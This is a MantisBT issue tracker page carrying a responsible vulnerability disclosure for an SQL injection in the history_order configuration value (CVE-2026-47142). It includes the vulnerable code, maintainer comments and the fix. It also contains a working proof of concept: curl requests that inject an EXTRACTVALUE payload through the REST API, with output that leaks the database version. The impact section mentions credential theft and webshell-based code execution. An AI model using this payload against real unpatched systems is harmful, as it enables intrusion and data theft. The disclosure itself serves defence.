View Issue Details

IDProjectCategoryView StatusLast Update
0037123mantisbtsecuritypublic2026-07-15 08:07
Reportermccaulay Assigned Todregad  
PriorityhighSeveritymajorReproducibilityalways
Status closedResolutionfixed 
Target Version2.28.4Fixed in Version2.28.4 
Summary0037123: CVE-2026-47142: SQL Injection via history_order Configuration Value
Description

watchTowr Vulnerability Report (WT-2026-0068)

  • Product affected: Mantis Bug Tracker
  • Version tested: 2.28.1
  • Platform: Linux
  • CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

watchTowr Vulnerability Disclosure Policy

The vulnerability is subject to our standard 90-day disclosure timeline. See https://labs.watchtowr.com/vulnerability-disclosure-policy for more details.

Credits:

McCaulay Hudson (@_McCaulay) of watchTowr

Vulnerability Details - SQL Injection via history_order Configuration Value

MantisBT 2.28.1 contains a SQL injection vulnerability in core/history_api.php (line 280). The history_order configuration value is concatenated directly into a SQL ORDER BY clause without any sanitization, parameterization, or validation against a whitelist.

An administrator can set this configuration value via the web UI (adm_config_set.php) or the REST API (PATCH /api/rest/config). The injected SQL then executes whenever any user views a bug with history entries.

Root Cause

1. Unsanitized Config Value in SQL (core/history_api.php, lines 226, 280)

// Line 226
$t_history_order = config_get( 'history_order' );
// ...
// Line 280
$t_query->append_sql( ' ORDER BY {bug_history}.date_modified ' . $t_history_order
    . ', {bug_history}.id ' . $t_history_order );

DbQuery::append_sql() (line 188 of core/classes/DbQuery.class.php) performs pure string concatenation with no sanitization. The final SQL is executed via ADOdb's $g_db->Execute() with the injected value baked into the query string.

2. Config Value Not Validated

The history_order config is expected to contain only ASC or DESC, but no validation enforces this. It is not in $g_global_settings (line 5240 of config_defaults_inc.php), so it can be overridden per-project in the mantis_config_table via the config editor or REST API.

Proof of Concept

Error-Based SQL Injection - Extract MySQL Version

As a simple example, we can extract the MySQL version if MantisDB is configured to use MySQL.

Step 1: Set malicious history_order via REST API

$ curl -s -X PATCH 'http://localhost:8989/api/rest/config' \
  -H 'Content-Type: application/json' \
  -b 'PHPSESSID=0c3a08d10dc1e8aa08dc7f82817b200c; MANTIS_STRING_COOKIE=7MmaGY7_bZ-xIvkFq0PEtZDrhMhlM35aQHdqtGSRYM0hktfOdNS8dA-0x_yZNKUo' \
  -d '{"configs":[{"option":"history_order","value":"ASC, EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))"}],"project_id":0,"user_id":0}'

Step 2: Trigger the injection by viewing any bug with history

$ curl -s -b 'PHPSESSID=0c3a08d10dc1e8aa08dc7f82817b200c; MANTIS_STRING_COOKIE=7MmaGY7_bZ-xIvkFq0PEtZDrhMhlM35aQHdqtGSRYM0hktfOdNS8dA-0x_yZNKUo' \
  'http://localhost:8989/view.php?id=1' | grep 'XPATH syntax error'

The error page displays the MySQL version extracted via EXTRACTVALUE:

XPATH syntax error: '~8.4.9~'

Impact

  • Sensitive data extraction from the entire bugtracker database including user credentials (cookie_string, password hashes), API tokens, and private issue data
  • With MySQL FILE privilege: full RCE via INTO OUTFILE writing a PHP webshell to the web root
  • The admin plants the payload once; any authenticated user viewing a bug with history triggers the injection
Additional Information

GitHub: https://github.com/McCaulay

TagsNo tags attached.
Attached Files

Activities

dregad

dregad

2026-05-17 11:59

developer   ~0071122

Last edited: 2026-05-17 13:22

Confirmed.

Advisory GHSA-mw6p-33vw-46cc created and CVE requested.

dregad

dregad

2026-05-17 12:14

developer   ~0071123

Proposed patch for review https://github.com/mantisbt/mantisbt-private/pull/8

dregad

dregad

2026-05-18 20:01

developer   ~0071137

CVE-2026-47142 assigned

Related Changesets

MantisBT: master-2.28 6ad20bea

2026-05-17 12:05

dregad


Details Diff
Fix SQL injection in history_query_result()

Sanitize $t_history_order variable so only ASC/DESC can be added to the
SQL query, defaulting to ASC (matching $g_history_order value in
config_defaults_inc.php).

Fixes 0037123, GHSA-mw6p-33vw-46cc
Affected Issues
0037123
mod - core/history_api.php Diff File